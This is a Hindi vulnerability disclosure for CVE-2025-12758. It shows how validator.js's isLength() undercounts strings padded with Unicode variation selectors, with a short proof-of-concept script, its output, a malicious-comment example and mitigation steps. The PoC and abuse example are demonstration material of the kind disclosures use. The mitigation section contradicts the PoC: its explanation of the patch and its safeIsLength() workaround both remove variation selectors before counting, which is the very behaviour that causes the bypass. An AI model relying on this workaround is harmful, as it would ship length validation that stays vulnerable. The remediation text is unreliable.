
CVE-2025-12758 का विस्तृत खुलासा PoC के साथ जो validator.js के isLength() में यूनिकोड वेरिएशन सेलेक्टर बाइपास को प्रदर्शित करता है, जिसमें मूल कारण विश्लेषण, शोषण परिदृश्य और शमन कदम शामिल हैं।
CVE ID: CVE-2025-12758
CVSS Score: 8.7 (HIGH)
Severity: HIGH
CWE: CWE-792 (एक या अधिक विशेष तत्वों की अपूर्ण फ़िल्टरिंग)
Published: नवंबर 26, 2025
Disclosed: अक्टूबर 19, 2025
यह भेद्यता validator npm पैकेज के संस्करणों < 13.15.22 को प्रभावित करती है। isLength() फ़ंक्शन स्ट्रिंग लंबाई की गणना करते समय यूनिकोड वेरिएशन सेलेक्टर (\uFE0F, \uFE0E) को ध्यान में रखने में विफल रहता है, जिससे अनुचित इनपुट सत्यापन होता है।
कोई एप्लिकेशन जो इनपुट सत्यापन के लिए isLength() का उपयोग करता है, वह इच्छित लंबाई से काफी अधिक लंबी स्ट्रिंग स्वीकार कर सकता है, जिसके परिणामस्वरूप संभावित रूप से:
isLength() फ़ंक्शन स्ट्रिंग लंबाई की गणना करते समय यूनिकोड वेरिएशन सेलेक्टर को ठीक से फ़िल्टर नहीं करता है। इन विशेष वर्णों (कंबाइनिंग मार्क्स) को स्ट्रिंग की दृश्य लंबाई में योगदान नहीं देना चाहिए, लेकिन JavaScript की String.length प्रॉपर्टी में गिना जाता है।
npm install [email protected]
node poc.js
POC isLength() फ़ंक्शन का परीक्षण करके भेद्यता को प्रदर्शित करता है:
const validator = require('validator');
// सामान्य "test" स्ट्रिंग - सही ढंग से अस्वीकृत
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// आउटपुट: Is "test" (String.length: 4) length ≤ 3? false
// सामान्य "test" स्ट्रिंग - सही ढंग से स्वीकृत
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// आउटपुट: Is "test" (String.length: 4) length ≤ 4? true
// "test" जिसमें 4 वेरिएशन सेलेक्टर हैं - गलत तरीके से स्वीकृत
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// आउटपुट: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ कमजोर!
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true
तीसरा आउटपुट भेद्यता को प्रदर्शित करता है: वास्तविक लंबाई 8 वाली एक स्ट्रिंग अधिकतम लंबाई 4 के लिए एक सत्यापन जांच पास करती है।
कोई एप्लिकेशन उपयोगकर्ता टिप्पणी सत्यापन लागू कर सकता है:
const MAX_COMMENT_LENGTH = 100;
function validateComment(comment) {
return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}
const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// वास्तविक लंबाई: 150 वर्ण
// validator.isLength() गलत तरीके से लौटाता है: true ❌
// डेटाबेस दुर्भावनापूर्ण पेलोड स्वीकार करता है ⚠️
npm install [email protected]
पैच किया गया संस्करण यूनिकोड वेरिएशन सेलेक्टर को लंबाई गणना से बाहर करके उचित रूप से हैंडल करता है।
यदि आप तुरंत अपग्रेड नहीं कर सकते हैं, तो कस्टम लंबाई सत्यापन लागू करें:
function safeIsLength(str, options = {}) {
// सत्यापन से पहले यूनिकोड वेरिएशन सेलेक्टर हटाएं
const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
return validator.isLength(cleanStr, options);
}
जांचें कि क्या आपका एप्लिकेशन कमजोर है:
npm audit --audit-level=high
validator पैकेज को संस्करण < 13.15.22 के साथ देखें।
भेद्यता खोजकर्ता: कारोल व्रोटनियाक
ISC